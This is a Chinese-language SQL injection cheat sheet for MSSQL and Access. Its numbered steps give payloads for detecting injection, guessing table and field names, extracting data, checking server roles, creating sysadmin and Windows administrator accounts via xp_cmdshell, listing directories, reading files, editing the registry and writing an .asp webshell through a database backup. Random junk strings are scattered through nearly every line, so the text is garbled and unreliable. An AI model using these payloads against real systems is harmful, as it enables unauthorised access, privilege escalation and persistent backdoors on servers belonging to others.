1.判断是否有注入;and 1=1 ;and 1=2 Z[0/x.pp$
2.初步判断是否是mssql ;and user>0 27}7
n
<_]W1V:0
3.注入参数是字符'and [查询条件] and ''=' .$
YYN/+W
6{0MprY
4.搜索时没过滤参数的'and [查询条件] and '%25'=' REh\WgV!u
URt+MTU[
5.判断数据库系统 VF b
)eqF21\
;and (select count(*) from sysobjects)>0 mssql 6urU[t1
6'.)z,ts
;and (select count(*) from msysobjects)>0 access E25w^x2
P,(_y8
g++-v HD
EEo I|
6.猜数据库 ;and (select Count(*) from [数据库名])>0 _%23L|
Mz86bb^J
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 VvT7v]
F,Ve, 7kh
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Ix<!0!
vk
#?,"/Btq
9.(1)猜字段的ascii值(access) TtH!5{$s
#sk~L21A
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 l;&kX6 w
Do5.
(2)猜字段的ascii值(mssql) I?Z"YR+MQ
,el[A`b
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 W$`#X
U0iV
E+)Bt
10.测试权限结构(mssql) "@|rU4Y
t;-F]
X[f)0w%
c-!3wvt)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- B(5>H2
^SW9J^9
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- K4+|K:e
71ab&V il
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- b'z\|jY
XHOS"o$y
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- l N0u1)'2
8R-;cBT
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 5uOz #hN
mdo$d-d&
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 4sW~7:vU
cMoJHC,!
;and 1=(select IS_MEMBER('db_owner'));-- *OIBMx#qxn
L6;'V5Mg72
LGVy4D
wZW\r!Us
11.添加mssql和系统的帐户 F?0Q AA
qZ
+K4H
;exec master.dbo.sp_addlogin username;-- TtKKU4 yp
;exec master.dbo.sp_password null,username,password;-- rkR~%U6V
Q#.E-\=^
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- jA[")RVG
0&b;!N!vJ
;exec master.dbo.xp_cmdshell 'net user username password N8x.D-=gG
WwWCNN~}
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- #6l(2d
O6ugN-d>
;exec master.dbo.xp_cmdshell 'net user username password /add';-- %+<1X?;,Fq
#};Zgixo$
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- eH[i<Z
412E7
DyA/!%g
jUgx
;=
12.(1)遍历目录 A wk1d
N:S2X+}(
;create table dirs(paths varchar(100), id int) $|TLt{ K
g W9`k,U
;insert dirs exec master.dbo.xp_dirtree 'c:\' |.&GmP
rKd|s7l
;and (select top 1 paths from dirs)>0 wu &lG!#
bNiJ"k<pN
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) *!{&n*N
bD| "c
bZK^q B
Kp1 F"!
(2)遍历目录 @Y>PtA&w*
;Ru[^p.{
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Q&_#R(3j;
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 \Sv|yQUT
%y*'bS
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 W:6#0b"_#
0>]&9'cn
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 -m mQ]'.0
,8d&uR}x
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 64`l?F
LnN:;h
C3~~h|:
m_BpY9c]5
13.mssql中的存储过程 7Kb&BF|Q
U>m{B|H
xp_regenumvalues 注册表根键, 子键 Wm5[+z|2?9
QnS#"hc\a
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 *M0O&" ~j
m({q<&]Qp
xp_regread 根键,子键,键值名 q;IuV&B
d6-q"
;exec xp_regread Q2* 8c$
pSIXv%1J
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 %L7DC`
SW+;%+`
xp_regwrite 根键,子键, 值名, 值类型, 值 \Y!=O=za]
N'$P(
bx
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 P4c3kO0
UvB\kIH
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ]#rV]As
E}a.qM'
xp_regdeletevalue 根键,子键,值名 OYn5k6
RL/7>YQ
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ;C
,
g6{
1/qD5 *`Y
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8 ph1xQ'
jVN=_Y}\
d(R8^v/L
Fm6]mz%~u#
14.mssql的backup创建webshell GK6CnSV8d
UX.rzYM&T
use model )1R[X!KQ7
Tyb'p9
create table cmd(str image); 0Q8iX)
g}K/ba'
insert into cmd(str) values (''); $=^}J6
'&K' 0qG
backup database model to disk='c:\l.asp';
QMrH%Y
E?|NYu#I6
\u[5O@v#
4gdXO
15.mssql内置函数 3pL4Zhf
3DB= Xh
;and (select @@version)>0 获得Windows的版本号 TL7qOA7^X
Us2> 5 :\
;and user_name()='dbo' 判断当前系统的连接用户是不是sa QQS"K
g
TlX:05/V8
;and (select user_name())>0 爆当前系统的连接用户 {)!ua7GF0H
uGW#z_{(n
;and (select db_name())>0 得到当前连接的数据库 Z("N
*`VP;
b].U/=Hs
*-q&~
/l3Oi@\
16.简洁的webshell H!6&'=c {k
CL-?Mi=Uc
use model R$`&g@P="
V$Oj@vI
create table cmd(str image); b'R]DS{8
.W2w/RayC
insert into cmd(str) values (''); mL'A$BR`
QyZ'%T5J
backup database model to disk='g:\wwwtest\l.asp';